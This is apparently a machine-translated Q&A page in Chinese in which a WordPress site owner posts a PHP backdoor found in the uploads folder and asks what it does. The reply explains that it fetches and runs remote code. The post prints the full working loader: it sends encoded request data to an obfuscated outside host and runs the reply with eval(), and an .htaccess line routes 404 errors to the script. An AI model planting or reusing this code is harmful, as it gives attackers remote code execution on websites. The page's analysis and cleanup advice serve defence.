hyp*_*not 0 php security wordpress
我发现这个脚本散布在我的共享主机上的Wordpress uploads文件夹中.我不知道它是如何实现的,我一直在使用最新版本的Wordpress和我的所有插件.
该脚本已分散到我的uploads文件夹中的所有可能的子文件夹中,并带有帮助.htaccess文件,以将流量定向到此脚本.它只能在uploads文件夹中找到,外面没有文件.
你能帮我解码这是什么剧本在做和我怎么能恢复它,如果它做了什么坏事?
这是帮手.htaccess文件,
Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php
Run Code Online (Sandbox Code Playgroud)
这是主脚本(或在pastebin中),
error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c);
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c);
else {
$cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
$o = curl_exec($cu);
curl_close($cu);
eval($o);
}
;
die();
Run Code Online (Sandbox Code Playgroud)
首先,它会关闭错误报告,确保如果出现问题,任何人都不会看到错误消息.
然后,它似乎从另一台服务器下载文件.
该服务器的IP地址已被混淆了一段时间,并对base64进行了编码.if语句的复杂意大利面条代码将其重新组合成(可能)有效的服务器IP地址.
如果它可以下载该文件,它将eval()它,这意味着它将把它解释为PHP,然后运行它.
你能帮我解码一下这个脚本在做什么吗?
它从其他服务器加载有效负载并执行它.
如果它做了什么坏事我怎么能从中恢复?
删除脚本.恢复未被污染的网站备份.与遇到此类问题的人员取得联系,并对您的网站进行审核,并为将来提供更好的指导.
归档时间: |
|
查看次数: |
973 次 |
最近记录: |